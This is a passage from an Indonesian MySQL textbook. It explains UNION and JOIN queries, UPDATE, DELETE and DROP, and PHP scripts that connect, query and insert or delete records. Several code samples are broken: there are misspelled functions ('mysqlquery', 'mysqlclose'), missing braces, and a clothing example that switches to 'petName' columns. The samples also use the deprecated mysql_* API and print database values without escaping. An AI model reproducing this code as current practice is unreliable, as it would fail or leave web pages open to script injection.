 

 

87 

 

Manajemen Database MySQL

+---------------+-----------------+------------------------------------------------+ 

| name      | author       | title               | 

+---------------+-----------------+------------------------------------------------+ 

| Agus Widodo   | Sarwo Nugroho   | Potret Diri Sebagai Komunikasi Visual Simbolik |  

| Mars Caroline | Agus Widodo     | Membangun PODCAST        | 

| Sarwo Nugroho | Mars Caroline W | Teknik Desain Realis dan Tata Warna     | 

+---------------+-----------------+------------------------------------------------+ 

3 rows in set (0.00 sec) 

 

Lihat bagaimana kueri ini mengikat kedua tabel dengan rapi untuk memperlihatkan publikasi 

yang dibeli dari tabel klasik oleh orang-orang di tabel pelanggan. 

Menggabungkan informasi lebih dari satu tabel 

Sekarang kita akan menggabungkan informasi dari tabel yang berbeda. Kita dapat 

melakukannya dengan mudah dalam satu kueri. Terkadang pertanyaan kita memerlukan 

informasi dari lebih dari satu tabel. Misalnya, pertanyaan, "Berapa banyak pesanan yang 

dilakukan pelanggan Andik prakasa selama bulan April dan Desember?" memerlukan  

informasi dari beberapa tabel. Kita dapat mengajukan pertanyaan ini dengan mudah dalam 

satu kueri SELECT dengan menggabungkan beberapa tabel. Dua kata dapat digunakan dalam 

kueri SELECT untuk menggabungkan informasi dari dua atau lebih tabel: 

• UNION: Baris diambil dari satu atau lebih tabel dan disimpan bersama, satu demi satu, 

dalam satu hasil. Misalnya, jika kueri kita memilih 6 baris dari satu tabel dan 5 baris 

dari tabel lain, hasilnya akan berisi 11 baris. 

• JOIN: Tabel digabungkan berdampingan, dan informasi diambil dari kedua tabel. 

UNION 

UNION digunakan untuk menggabungkan hasil dari dua atau lebih kueri pemilihan. 

Hasil dari setiap kueri ditambahkan ke kumpulan hasil mengikuti hasil kueri sebelumnya. 

Format kueri UNION adalah sebagai berikut: 

 

SELECT query UNION ALL SELECT query ... 

 

Anda dapat menggabungkan kueri SELECT sebanyak yang kita butuhkan. Kueri SELECT dapat 

menyertakan format SELECT yang valid, termasuk klausa WHERE, klausa LIMIT, dan 

seterusnya. Aturan untuk kueri adalah: 

• Semua kueri SELECT harus memilih jumlah kolom yang sama. 

• Kolom yang dipilih dalam kueri harus berisi tipe data yang sama. 

Kumpulan hasil berisi semua baris dari kueri pertama, diikuti oleh semua baris dari kueri 

kedua, dan seterusnya. Nama kolom yang digunakan dalam kumpulan hasil adalah nama 

kolom dari kueri SELECT pertama. Rangkaian kueri SELECT dapat memilih kolom yang berbeda 

dari tabel yang sama, tetapi situasi di mana kita menginginkan tabel baru dengan satu kolom 

dalam tabel diikuti oleh kolom lain kolom dari tabel yang sama tidak biasa. Kemungkinan besar  

kita ingin menggabungkan kolom dari tabel yang berbeda. Misalnya, kita mungkin memiliki 

tabel member yang telah mengundurkan diri dari klub ( Member Lama) dan tabel terpisah dari 

member saat ini ( Member) . Kita bisa mendapatkan daftar semua member, baik saat ini 

maupun yang mengundurkan diri, dengan kueri berikut: 

 

SELECT lastName,firstName FROM Member UNION ALL  

88 

 

Manajemen Database MySQL

SELECT lastName,firstName FROM OldMember 

 

Hasil dari query ini adalah nama belakang dan nama depan dari semua member saat ini, diikuti 

dengan nama belakang dan nama depan dari semua member yang telah mengundurkan diri. 

Bergantung pada cara kita mengatur data, kita mungkin memiliki nama duplikat. Misalnya, 

mungkin seorang member mengundurkan diri, dan namanya ada di tabel Member Lama — 

tetapi dia bergabung lagi, jadi namanya ditambahkan ke Member Table. Jika kita tidak ingin 

duplikat, jangan sertakan kata ALL. Jika ALL tidak disertakan, baris duplikat tidak ditambahkan 

ke hasil. 

Anda dapat memakai  ORDER BY dengan setiap kueri SELECT atau kita dapat 

memakai  ORDER BY dengan kueri UNION untuk mengurutkan semua baris dalam 

kumpulan hasil. Jika kita ingin ORDER BY diterapkan ke seluruh rangkaian hasil, bukan hanya 

kueri yang mengikutinya, gunakan tanda kurung sebagai berikut: 

 

(SELECT lastName FROM Me mber UNION ALL  

SELECT lastName FROM OldMember) ORDER BY lastName  

 

JOIN 

Menggabungkan tabel berdampingan adalah gabungan. Tabel digabungkan dengan 

mencocokkan data dalam kolom — kolom yang memiliki kesamaan. Tabel hasil gabungan yang 

dihasilkan oleh gabungan berisi semua kolom dari kedua tabel. Misalnya, jika table1 memiliki 

dua kolom (memberID dan tinggi), dan table2 memiliki dua kolom (memberID dan bobot), 

hasil inner join tabel dengan empat kolom: memberID (dari table1), tinggi, memberID (dari 

table2), d an bobot. Dua jenis gabungan yang umum adalah inner join dan outer join. 

Perbedaan antara inner dan outer join terletak pada jumlah baris yang disertakan dalam tabel 

hasil. 

• Inner join: Tabel hasil yang dihasilkan oleh inner join hanya berisi baris yang ada di 

kedua tabel. 

• Outer join: Tabel gabungan yang dihasilkan oleh outer join berisi semua baris yang ada 

di satu tabel dengan kolom kosong di kolom untuk baris yang tidak ada di tabel kedua. 

Misalnya, jika table1 berisi satu baris untuk Wiwid dan satu baris untuk Sally, dan table2 hanya 

berisi satu baris untuk Sally, inner join hanya akan berisi satu baris: baris untuk Sally. Namun, 

outer join akan berisi dua baris — satu baris untuk Wiwid dan satu baris untuk Sally — 

meskipun baris untuk Wiwid akan memiliki field kosong untuk bobot. 

Tabel hasil untuk outer join berisi semua baris untuk satu tabel. Jika salah satu baris 

untuk tabel tersebut tidak ada di tabel kedua, kolom untuk tabel kedua akan kosong. Jelas, isi 

tabel hasil ditentukan oleh tabel mana yang memberikan kontribusi semua barisnya, 

memerlukan  tabel kedua untuk mencocokkannya. Dua jenis outer join mengontrol tabel 

mana yang mengatur baris dan mana yang harus cocok: LEFT JOIN dan RIGHT JOIN . Kita 

memakai  kueri SELECT yang berbeda untuk inner join dan dua jenis outer join. Kueri 

berikut adalah inner join: 

 

SELECT columnnamelist FROM table1,table2 

 WHERE table1.col2 = table2.col2  

 

89 

 

Manajemen Database MySQL

Dan kueri ini adalah outer join: 

 

SELECT columnnamelist FROM table1 LEFT JOIN table2 

 ON table1.col1=table2.col2  

SELECT columnnamelist FROM table1 RIGHT JOIN table2  

 ON table1.col1=table2.col2  

 

Dalam ketiga kueri, table1 dan table2 adalah tabel yang akan digabungkan. Kita dapat 

bergabung dengan lebih dari dua tabel. Di kedua kueri, col1 dan col2 adalah nama kolom yang 

dicocokkan untuk bergabung dengan tabel. Tabel dicocokkan berdasarkan data di kolom ini. 

Kedua kolom ini dapat memiliki nama yang sama atau nama yang berbeda, tetapi keduanya 

harus berisi tipe data yang sama. 

Sebagai contoh sambungan dalam dan luar, pertimbangkan katalog Pakaian dengan 

dua tabel. Satu tabel adalah Produk, dengan dua kolom Nama dan Jenis menyimpan data 

berikut: 

 

Name   Type 

T-shirt   Shirt 

Dress shirt  Shirt 

Jeans   Pants 

 

Tabel kedua adalah Warna, dengan dua kolom Nama dan Warna menyimpan data berikut: 

 

Name  Color 

T-shirt white 

T-shirt  red 

Loafer  black 

 

Anda perlu mengajukan pertanyaan yang memerlukan  informasi dari kedua tabel. Jika  kita 

melakukan inner join dengan query berikut: 

 

SELECT * FROM Product,Co lor WHERE Product.Name = Color.Name  

 

Anda mendapatkan tabel hasil berikut dengan empat kolom: Nama (dari Produk), Jenis, Nama 

(dari Warna), dan Warna.  

 

Name  Type  Name  Color 

T-shirt  Shirt  T-shirt  white 

T-shirt  Shirt  T-shirt  red 

 

Perhatikan bahwa hanya T-shirt yang muncul di tabel hasil — karena hanya T-shirt yang 

ada di kedua tabel asli, sebelum bergabung. Di sisi lain, misalkan kita melakukan outer join kiri 

dengan kueri berikut: 

 

SELECT * FROM Product LEFT JOIN Color ON Product. Name=Color. Name  

90 

 

Manajemen Database MySQL

Anda mendapatkan tabel hasil berikut, dengan empat kolom yang sama — Nama (dari 

Produk), Jenis, Nama (dari Warna), dan Warna — tetapi dengan baris yang berbeda: 

 

Name  Type  Name  Color 

T-shirt  Shirt  T-shirt  white 

T-shirt  Shirt  T-shirt  red 

Dress  shirt  <NULL>  <NULL>  

Jeans  Pants  <NULL>  <NULL>  

 

Tabel ini memiliki empat baris. Ini memiliki dua baris pertama yang sama dengan gabungan 

bagian dalam, tetapi memiliki dua baris tambahan — baris yang ada di tabel Produk di sebelah 

kiri tetapi tidak di tabel Warna. Perhatikan bahwa kolom dari tabel Warna kosong untuk dua 

baris terakhir. Dan, di sisi ketiga, misalkan kita melakukan outer join kanan dengan kueri 

berikut: 

 

SELECT * FROM Product RIGHT JOIN Color  

ON Product.petName=Color. Name  

 

Anda mendapatkan tabel hasil berikut, dengan empat kolom yang sama, tetapi dengan baris 

yang masih berbeda: 

 

petName  petType  petName  petColor 

T-shirt  Shirt  T-shirt  white 

T-shirt  Shirt  T-shirt  red 

<NULL>  <NULL>  Loafers  Black 

 

Perhatikan bahwa hasil ini berisi semua baris untuk tabel Warna di sebelah kanan tetapi tidak 

untuk tabel Produk. Perhatikan bagian yang kosong di kolom untuk tabel Produk, yang tidak 

memiliki baris untuk Loafers. Gabungan yang  kita diskusikan sejauh ini menemukan entri yang 

cocok dalam tabel. Terkadang berguna untuk mengetahui baris mana dalam tabel yang tidak 

memiliki entri yang cocok di tabel lain. Misalnya, kita ingin tahu siapa yang tidak pernah masuk 

ke bagian Only Member. Misalkan kita memiliki satu tabel dengan nama login member 

( Member) dan tabel lain dengan tanggal login (Login) . Kita dapat mengajukan pertanyaan ini 

dengan memilih dari dua tabel. Kita dapat mengetahui nama login mana yang tidak memiliki 

entri di tabel Login dengan kueri berikut: 

 

SELECT loginName FROM Member LEFT JOIN Login 

 ON Member.loginName=Login.loginName  

 WHERE Login.loginName IS NULL 

 

Kueri ini memberi kita daftar semua nama login di tabel Member yang tidak ada di tabel Login. 

NATURAL JOIN 

Dengan perintah NATURAL JOIN, kita dapat menghemat pengetikan dan membuat 

kueri sedikit lebih jelas. Jenis gabungan ini mengambil dua tabel dan secara otomatis 

menggabungkan kolom yang memiliki nama yang sama. Jadi, untuk mencapai hasil yang sama 

lakukan seperti contoh dibawah ini: 

91 

 

Manajemen Database MySQL

SELECT name,author,title FROM customers NATURAL JOIN classics;  

 

JOIN . . . ON 

Jika kita ingin menentukan kolom untuk menggabungkan dua tabel, gunakan 

konstruksi JOIN ... ON seperti ini: 

 

SELECT name,author,title FROM customers  

JOIN classics ON customers.isbn=classics.isbn;  

 

memakai  AS 

Anda juga dapat menghemat pengetikan dan meningkatkan keterbacaan kueri dengan 

membuat alias memakai  kata kunci AS. Ikuti nama tabel dengan AS dan alias yang akan 

digunakan. Kode berikut, oleh karena itu, juga identik dalam tindakan dengan Contoh dibawah 

ini. Alias dapat sangat berguna saat  kita memiliki kueri panjang yang merujuk nama tabel 

yang sama berkali-kali. 

 

SELECT name,author,title from customers AS cust, classics AS class WHERE 

cust.isbn=class.isbn;  

 

Hasil dari operasi ini adalah sebagai berikut: 

+---------------+-----------------+------------------------------------------------+ 

| name      | author       | title           | 

+---------------+-----------------+------------------------------------------------+ 

| Agus Widodo   | Sarwo Nugroho   | Potret Diri Sebagai Komunikasi Visual Simbolik |  

| Mars Caroline | Agus Widodo     | Membangun PODCAST          | 

| Sarwo Nugroho | Mars Caroline W | Teknik Desain Realis dan Tata Warna      | 

+---------------+-----------------+------------------------------------------------+ 

3 rows in set (0.00 sec) 

 

4.3 memakai  OPERATOR LOGIKA 

Anda juga dapat memakai  operator logika AND, OR, dan NOT dalam kueri MySQL 

WHERE kita untuk mempersempit pilihan kita lebih jauh. Contoh dibawah ini menunjukkan 

satu contoh masing-masing, tetapi kita dapat mencampur dan mencocokkannya dengan cara 

apa pun yang kita butuhkan. 

Contoh memakai  operator logika 

 

SELECT author,title FROM classics WHERE 

author LIKE "Guswi%" AND author LIKE "%Andik Prakasa";  

SELECT author,title FROM classics WHERE 

author LIKE "%Agus Widodo%" OR author LIKE "%Joseph Teguh %";  

SELECT author,title FROM classics WHERE 

author LIKE "Guswi%" AND author NOT LIKE "%Andik Prakasa";  

 

Memperbarui Informasi dalam database 

Mengubah informasi di baris yang ada berarti memperbarui informasi. Misalnya, kita 

mungkin perlu mengubah alamat pelanggan karena dia pindah, atau kita mungkin perlu 

menambahkan nomor faks yang dibiarkan kosong oleh pelanggan saat dia memasukkan 

informasinya. Pernyataan UPDATE sangat mudah: 

 

92 

 

Manajemen Database MySQL

UPDATE tablename SET column=value,column=value,...  

 WHERE clause 

 

Dalam klausa SET, kita mencantumkan kolom yang akan diperbarui dan nilai baru yang akan 

dimasukkan. Daftar semua kolom yang ingin kita ubah dalam satu pernyataan. Tanpa klausa 

WHERE, nilai kolom akan diubah di semua baris. Tetapi dengan klausa WHERE, kita dapat 

menentukan baris mana yang akan diperbarui. Misalnya, untuk memperbarui alamat di tabel 

Pelanggan, gunakan pernyataan ini: 

 

UPDATE Customer SET street=”3423 RoseLawn”, 

 phone=”555-555-5555” 

 WHERE lastName=”Contrary” 

 

Menghapus Informasi dari Database 

Perbarui informasi dalam database kita dengan menghapus informasi yang sudah 

usang. Namun, berhati-hatilah saat menghapus informasi. sesudah  kita meletakkan data, itu 

hilang selamanya. Itu tidak dapat dipulihkan. Kita hanya mendapatkannya kembali jika kita 

memasukkan semuanya lagi. Kita dapat menghapus baris atau kolom dari tabel, atau kita 

dapat menghapus seluruh tabel atau database dan memulai dari awal. Kita dapat menghapus 

baris dari tabel dengan pernyataan DELETE: 

 

DELETE FROM tablename WHERE clause 

 

Berhati-hatilah saat memakai  DELETE. Jika kita memakai  pernyataan DELETE tanpa 

klausa WHERE, itu akan menghapus semua data dalam tabel. Maksud kita semua data. Kita 

ulangi, semua data. Data tidak dapat dipulihkan. Fungsi pernyataan DELETE ini berada tepat 

di bagian atas daftar jangan coba-coba ini di rumah. Kita dapat menghapus kolom dari tabel 

dengan memakai  pernyataan ALTER: 

 

ALTER TABLE tablename DROP columnname 

 

Anda dapat menghapus seluruh tabel atau database dengan DROP TABLE tablename atau 

DROP DATABASE databasename 

  

93 

 

Manajemen Database MySQL

BAB 5 

MENGAKSES MySQL memakai  PHP 

 

 

5.1 MEMINTA DATABASE MYSQL DENGAN PHP 

Alasan memakai  PHP sebagai antarmuka ke MySQL adalah untuk memformat 

hasil query SQL dalam bentuk yang terlihat di halaman web. Selama kita dapat masuk ke 

instalasi MySQL kita memakai  nama user dan kata sandi. 

Proses 

Proses penggunaan MySQL dengan PHP adalah: 

1. Hubungkan ke MySQL. 

2. Pilih database yang akan digunakan. 

3. Buat string kueri. 

4. Lakukan kueri. 

5. Ambil hasilnya dan keluarkan ke halaman web. 

6. Ulangi Langkah 3 sampai 5 sampai semua data yang diinginkan telah diambil. 

7. Putuskan sambungan dari MySQL. 

Kita akan mengerjakan bagian ini secara bergantian, tetapi pertama, kita harus mengatur 

detail login dengan cara yang aman agar tidak ada orang yang bisa mengakses database kita.  

 

5.2 MEMBUAT FILE LOGIN 

Sebagian besar situs web yang dikembangkan dengan PHP berisi beberapa file 

program yang memerlukan akses ke MySQL, oleh karena itu, detail login dan kata sandi sangat 

diperlukan. Selanjutnya, mari kita buat file login terlebih dahulu, dengan mengeetikkan 

contoh, ganti nilai placeholder (seperti nama pengguna) dengan nilai aktual yang kita gunakan 

untuk database MySQL Anda, dan simpan ke direktori pengembangan web. Hostname 

localhost akan berfungsi selama kita memakai  database MySQL di sistem lokal. 

Contoh File login.php 

 

<?php // login.php  

$db_hostname = 'localhost';  

$db_database = 'publications';  

$db_username = 'username';  

$db_password = 'password';  

?  

 

Tag <?php dan ?> yang terlampir sangat penting untuk file login.php pada Contoh 

diatas ini berarti bahwa garis perantara hanya dapat ditafsirkan sebagai kode PHP. Jika kita 

meninggalkannya dan seseorang memanggil file langsung dari situs web Anda, itu akan 

ditampilkan sebagai teks dan mengungkapkan rahasia kita. Tapi, dengan tag di tempatnya, 

yang akan dilihat orang itu hanyalah halaman kosong. File akan disertakan dengan benar 

dalam file PHP kita yang lain. Variabel $db_hostname akan memberi tahu PHP komputer mana 

yang akan digunakan saat menghubungkan ke database. Ini diperlukan, karena kita dapat 

mengakses database MySQL di komputer mana pun yang terhubung ke instalasi PHP Anda, 

dan yang berpotensi mencakup host mana pun di Web. Namun, contoh dalam bab ini akan 

bekerja di server lokal. Jadi, alih-alih menentukan domain seperti mysql.myserver.com, kita 

bisa memakai  kata localhost (atau alamat IP 127.0.0.1).  

94 

 

Manajemen Database MySQL

Database yang akan kita gunakan, $db_database ini disebut publikasi. Variabel 

$db_username dan $db_password harus disetel ke nama user dan kata sandi yang telah kita 

gunakan dengan MySQL. 

Menghubungkan ke MySQL 

Sekarang sesudah  kita menyimpan file login.php, kita dapat memasukkannya ke dalam 

file PHP apa pun yang perlu mengakses database dengan memakai  pernyataan 

require_once. Ini lebih disukai daripada pernyataan include, karena akan menghasilkan 

kesalahan fatal jika file tidak ditemukan. Dan percayalah, tidak menemukan file yang berisi 

detail login ke database kita adalah kesalahan fatal. 

Selain itu, memakai  require_once berarti file akan dibaca han ya jika sebelumnya 

tidak disertakan, ini mencegah akses duplikat disk. Contoh dibawah ini menunjukkan kode 

yang akan digunakan. 

Contoh Menghubungkan ke server MySQL 

 

<?php  

require_once 'login.php';  

$db_server = mysql_connect($db_hostname, $db_username, $db_password);  

if (!$db_server) die("Unable to connect to MySQL: " . mysql_error()) ;  

?>  

 

Contoh ini menjalankan fungsi mysql_connect PHP, yang memerlukan tiga parameter: 

hostname, user name, dan password server MySQL. sesudah  berhasil, ia mengembalikan 

identifikator ke server; jika tidak, FALSE dikembalikan. Perhatikan bahwa baris kedua 

memakai  pernyataan if dengan fungsi die, yang melakukan seperti apa bunyinya dan 

keluar dari PHP dengan pesan kesalahan jika $d b_server is not TRUE. Pesan die menjelaskan 

bahwa tidak mungkin untuk terhubung ke database MySQL, dan—untuk membantu 

mengidentifikasi mengapa ini terjadi—termasuk panggilan ke fungsi mysql_error. Fungsi ini 

menampilkan teks kesalahan dari fungsi MySQL yang terakhir disebut. Pointer server database 

$db_server akan digunakan dalam beberapa contoh berikut untuk mengidentifikasi server 

MySQL yang akan ditanyakan. Dengan memakai  identifikator dengan cara ini, kita dapat 

terhubung ke dan mengakses beberapa server MySQL dari satu program PHP. Fungsi die 

sangat bagus saat  kita mengembangkan kode PHP, tetapi tentu saja kita akan menginginkan 

pesan kesalahan yang lebih ramah user di server produksi. Dalam hal ini kita tidak akan 

membatalkan program PHP Anda, tetapi memformat pesan yang akan ditampilkan saat 

program keluar secara normal, seperti: 

 

function mysql_fatal_error($msg) 

$msg2 = mysql_error(); 

echo <<< END 

We are sorry, but it was not possible to complete 

the requested task. The error message we got was: 

<p>$msg: $msg2</p> 

Please click the back button on your browser 

and try again. If you are still having problems, 

please <a href="mailto:admin@server.com">email 

our administrator</a>. Thank you. 

END; 

95 

 

Manajemen Database MySQL

Memilih database 

sesudah  berhasil terhubung ke MySQL, kita sekarang siap untuk memilih database yang 

akan kita gunakan.. 

Contoh Memilih database 

 

<?php  

mysql_select_db($db_database)  

or die("Unable to select database: " . mysql_error()) ;  

?>  

 

Memilih database 

sesudah  berhasil terhubung ke MySQL, kita sekarang siap untuk memilih database yang 

akan kita gunakan.  

Contoh Memilih database 

 

< ?php  

mysql_select_db($db_database)  

or die("Unable to select database: " . mysql_error()) ;  

?>  

 

Perintah untuk memilih database adalah mysql_select_db. Berikan nama database 

yang kita inginkan dan server yang kita hubungkan. Seperti contoh sebelumnya, pernyataan 

die telah disertakan untuk memberikan pesan kesalahan dan penjelasan, jika pemilihan 

gagal—satu-satunya perbedaan adalah tidak perlu mempertahankan nilai kembalian dari 

fungsi mysql_select_db, karena hanya mengembalikan TRUE atau FALSE. Oleh karena itu 

digunakanlah PHP atau pernyataan yang artinya “jika perintah sebelumnya gagal, lakukan hal 

berikut.” Perhatikan bahwa agar atau berfungsi, tidak boleh ada titik koma di akhir baris kode 

pertama. 

Membangun dan mengeksekusi kueri 

Mengirim kueri ke MySQL dari PHP semudah mengeluarkannya memakai  fungsi 

mysql_query.  

Contoh Meminta database 

 

<?php  

$query = "SELECT * FROM classics";  

$result = mysql_query($query);  

if (!$result) die ("Database access failed: " . mysql_error()) ;  

?>  

 

Pertama, variabel $query disetel ke kueri yang akan dibuat. Dalam hal ini, ia meminta 

untuk melihat semua baris dalam tabel klasik. Perhatikan bahwa, tidak seperti command line 

MySQL, titik koma tidak diperlukan di bagian ekor kueri, karena fungsi mysql_query digunakan 

untuk mengeluarkan kueri lengkap; itu tidak dapat digunakan untuk kueri yang dikirim dalam 

beberapa bagian, satu per satu. Oleh karena itu, MySQL mengetahui bahwa kueri telah selesai 

dan tidak mencari titik koma. 

Fungsi ini mengembalikan hasil yang kita tempatkan dalam variabel $result. Setela h 

memakai  MySQL pada command line, kita mungkin berpikir bahwa isi $result akan sama 

dengan hasil yang dikembalikan dari kueri command line, dengan garis horizontal dan vertikal, 

dan seterusnya. Namun, tidak demikian halnya dengan hasil yang dikembalikan ke PHP. 

96 

 

Manajemen Database MySQL

Sebagai gantinya, sesudah  berhasil, $result akan berisi sumber daya yang dapat digunakan 

untuk mengekstrak hasil kueri. Kita akan melihat cara mengekstrak data di bagian selanjutnya. 

Saat gagal, $result berisi FALSE. Jadi contoh selesai dengan m emeriksa $result. Jika FALSE, 

berarti ada kesalahan, dan perintah die dijalankan. 

Mengambil hasil 

sesudah  kita memiliki sumber daya yang dikembalikan dari fungsi mysql_query, kita 

dapat memakai nya untuk mengambil data yang kita inginkan. Cara paling sederhana 

untuk melakukannya adalah dengan mengambil sel yang kita inginkan, satu per satu, 

memakai  fungsi mysql_result. Contoh selanjutnya menggabungkan dan memperluas 

contoh sebelumnya ke dalam program yang dapat kita ketik dan jalankan sendiri untuk 

mengambil hasil yang dikembalikan. Saya sarankan kita menyimpannya di folder yang sama 

dengan login.php dan beri nama query.php. 

Contoh Mengambil hasil satu sel pada satu waktu 

 

<?php // query.php 

require_once 'login.php'; 

$db_server = mysql_connect($db_hostname, $db_username, $db_password); 

if (!$db_server) die("Unable to connect to MySQL: " . mysql_error()); 

mysql_select_db($db_database) 

or die("Unable to select database: " . mysql_error()); 

$query = "SELECT * FROM classics"; 

$result = mysql_query($query); 

if (!$result) die ("Database access failed: " . mysql_error()); 

$rows = mysql_num_rows($result); 

for ($j = 0 ; $j < $rows ; ++$j) 

echo 'Author: ' . mysql_result($result,$j,'author') . '<br>'; 

echo 'Title: ' . mysql_result($result,$j,'title') . '<br>'; 

echo 'Category: ' . mysql_result($result,$j,'category') . '<br>'; 

echo 'Year: ' . mysql_result($result,$j,'year') . '<br>'; 

echo 'ISBN: ' . mysql_result($result,$j,'isbn') . '<br><br>'; 

?> 

 

10 baris kode terakhir adalah yang baru, jadi mari kita lihat. Mereka mulai dengan 

mengatur variabel $rows ke nilai yang dikembalikan oleh panggilan ke mysql_num_rows. 

Fungsi ini melaporkan jumlah baris yang dikembalikan oleh kueri. Berbekal jumlah baris, kita 

memasuki loop for yang mengekstrak setiap sel data dari setiap baris memakai  fungsi 

mysql_result. Parameter yang disediakan untuk fungsi ini adalah sumber daya $result, yang 

dikembalikan oleh mysql_query, nomor baris $j, dan nama kolom tempat mengekstrak data. 

Hasil dari setiap panggilan ke mysql_result kemudian digabungkan dalam pernyataan echo 

untuk menampilkan satu field per baris, dengan umpan baris tambahan di antara baris. Seperti 

yang kita ingat dan  lima baris data dikembalikan oleh query.php. Namun, sebagaimana 

adanya, kode ini sebenarnya sangat tidak efisien dan lambat, karena total 25 panggilan dibuat 

ke fungsi mysql_result untuk mengambil semua data, satu sel pada satu waktu. Untungnya, 

ada cara yang jauh lebih baik untuk mengambil data, yaitu mendapatkan satu baris sekal igus 

memakai  fungsi mysql_fetch_row.  

Mengambil baris 

97 

 

Manajemen Database MySQL

Penting untuk menunjukkan bagaimana kita dapat mengambil satu sel data dari 

MySQL, tetapi sekarang mari kita lihat metode yang jauh lebih efisien. Ganti loop for dari 

query.php dengan loop baru pada contoh dibwah ini dan kita akan menemukan hasil yang 

sama persis. 

Contoh Penggantian untuk loop untuk mengambil hasil satu baris dalam satu waktu. 

 

<?php  

for ($j = 0 ; $j < $rows ; ++$j)  

{  

$row = mysql_fetch_row($result);  

echo 'Author: ' . $row[0] . ' <br>' ;  

echo 'Title: ' . $row[1] . ' <br>' ;  

echo 'Category: ' . $row[2] . ' <br>' ;  

echo 'Year: ' . $row[3] . ' <br>' ;  

echo 'ISBN: ' . $row[4] . ' <br><br>' ;  

}  

?>  

 

Dalam kode yang dimodifikasi ini, hanya seperlima dari panggilan yang dilakukan ke 

fungsi pemanggilan MySQL (berkurang 80% penuh), karena setiap baris diambil secara 

keseluruhan melalui fungsi mysql_fetch_row. Ini mengembalikan satu baris data dalam array, 

yang kemudian ditetapkan ke variabel $row. Maka, yang diperlukan hanyalah mereferensikan 

setiap elemen array $row secara bergantian (dimulai dari offset 0). Oleh karena itu $row[0] 

berisi data Author, $row[1] Judul, dan seterusnya, karena setiap kolom ditempatkan dalam 

array sesuai urutan kemunculannya di tabel MySQL. Juga, dengan memakai  

mysql_f etch_row alih -alih mysql_result, kita memakai  kode PHP yang jauh lebih sedikit 

dan mencapai waktu eksekusi yang jauh lebih cepat, karena hanya mereferensikan setiap item 

data dengan offset daripada nama. 

Menutup koneksi 

sesudah  kita selesai memakai  database, kita harus menutup koneksi. Kita 

melakukannya dengan mengeluarkan perintah pada dibawah ini. 

Contoh Menutup koneksi server MySQL. 

 

<?php  

mysql_close($db_server);  

?>  

 

Contoh Praktis 

Saatnya untuk menulis contoh pertama kita memasukkan data dan menghapusnya 

dari tabel MySQL memakai  PHP. Saya sarankan kita mengetik kode seperti contoh 

dibawah ini dan menyimpannya ke direktori pengembangan web kita memakai  nama file 

sqltest.php.  

Contoh Memasukkan dan menghapus memakai  sqltest.php 

 

<?php // sqltest.php  

require_once 'login.php';  

$db_server = mysql_connect($db_hostname, $db_username, $db_password);  

if (!$db_server) die("Unable to connect to MySQL: " . mysql_error()) ;  

mysql_selec t_db($db_database, $db_server)  

98 

 

Manajemen Database MySQL

or die("Unable to select database: " . mysql_error()) ;  

if (isset($_POST['delete']) && isset($_POST['isbn']))  

{  

$isbn = get_post('isbn');  

$query = "DELETE FROM classics WHERE isbn=' $isbn'";  

if (!mysql_query($query, $db_server) )  

echo "DELETE failed: $query<br>" .  

mysql_error() . "<br><br>";  

}  

if (isset($_POST['author']) &&  

isset($_POST['title' ]) &&  

isset($_POST['category']) &&  

isset($_POST['year']) &&  

isset($_POST['isbn']))  

{  

$author = get_post('author');  

$title = get_post('titl e' );  

$category = get_post('category');  

$year = get_post('year');  

$isbn = get_post('isbn');  

$query = "INSERT INTO classics VALUES" .  

"(' $author', ' $title', ' $category', ' $year', ' $isbn')";  

if (!mysql_query($query, $db_server))  

echo "INSERT failed: $query<br>" .  

mysql_error() . "<br><br>";  

}  

echo <<<_END  

<form action="sqltest.php" method="post"><pre>  

Author <input type="text" name="author">  

Title <input type="text" name="title">  

Category <input type="text" name="category">  

Year <input type="text" name="year">  

ISBN <input type="text" name="isbn">  

<input type="submit" value="ADD RECORD">  

</pre></form>  

END;  

$query = "SELECT * FROM classics";  

$result = mysqlquery($query);  

if (!$result) die ("Database access failed: " . mysql_error()) ;  

$rows  = mysql_num_rows($result);  

for ($j = 0 ; $j < $rows ; ++$j)  

{  

$row = mysql_fetch_row($result);  

echo <<<_END  

<pre>  

Author $row[0]  

Title $row[1]  

Category $row[2]  

Year $row[3]  

99 

 

Manajemen Database MySQL

ISBN $row[4]  

</pre>  

<form action="sqltest.php" method="post">  

<input type="hidden" name="delete" value="yes">  

<input type="hidden" name="isbn" value="$row[4]">  

<input type="submit" value="DELETE RECORD"></form>  

END;  

}  

mysqlclose($db_server);  

function get_post($var)  

{  

return mysql_real_escape_string($_POST[$var]);  

}  

?>  

 

Pada lebih dari 80 baris kode, program ini mungkin tampak menakutkan, tetapi jangan 

khawatir karena kita sudah mencoba berbagai kode MySQL sejauh ini. Ini pertama-tama 

periksa input apa pun yang mungkin telah dibuat dan kemudian memasukkan data baru ke 

dalam tabel klasik dari database publikasi atau menghapus baris darinya, sesuai dengan input 

yang diberikan. Terlepas dari apakah ada input, program kemudian mengeluarkan semua baris 

dalam tabel ke browser. Jadi mari kita lihat cara kerjanya. 

Bagian pertama dari kode baru dimulai dengan memakai  fungsi isset untuk 

memeriksa apakah nilai untuk semua field telah diposting ke program. sesudah  konfirmasi, 

setiap baris dalam pernyataan if memanggil fungsi get_post, yang muncul di akhir program. 

Fungsi ini memiliki satu pekerjaan kecil namun penting: mengambil input dari browser. 

Array $_POST 

Browser mengirimkan input user melalui permintaan GET atau permintaan POST. Dan 

disini kita akan memakai  permintaan POST. Server web menggabungkan semua input 

user (bahkan jika formulir diisi dengan seratus field) dan dimasukkan ke dalam array bernama 

$_POST. $_POST adalah larik asosiatif. Tergantung pada apakah formulir telah diatur untuk 

memakai  metode POST atau GET, baik larik asosiatif $_POST atau $_GET akan diisi 

dengan data formulir. Keduanya dapat dibaca dengan cara yang persis sama. Setiap f ield 

memiliki elemen dalam array yang dinamai sesuai field itu.  

Jadi, jika formulir berisi field bernama isbn, array $_POST berisi elemen yang dikunci 

oleh kata isbn. Program PHP dapat membaca field itu dengan merujuk ke $_POST['isbn'] atau 

$_POST["isbn"]  (tanda kutip tunggal dan ganda memiliki efek yang sama dalam kasus ini). Jika 

sintaks $_POST masih tampak rumit bagi Anda, yakinlah bahwa kita dapat memakai  

konvensi, salin input user ke variabel lain, dan lupakan $_POST sesudah  itu. Ini normal dalam 

program PHP: mereka mengambil semua field dari $_POST di awal program dan kemudian 

mengabaikannya. Jadi, kembali ke fungsi get_post: melewati setiap item yang diambilnya 

melalui fungsi mysql_real_escape_string untuk menghapus karakter apa pun yang mungkin 

telah dimasukkan peretas untuk membobol atau mengubah database kita. 

Menghapus Rekaman 

Sebelum memeriksa apakah data baru telah diposting, program memeriksa apakah 

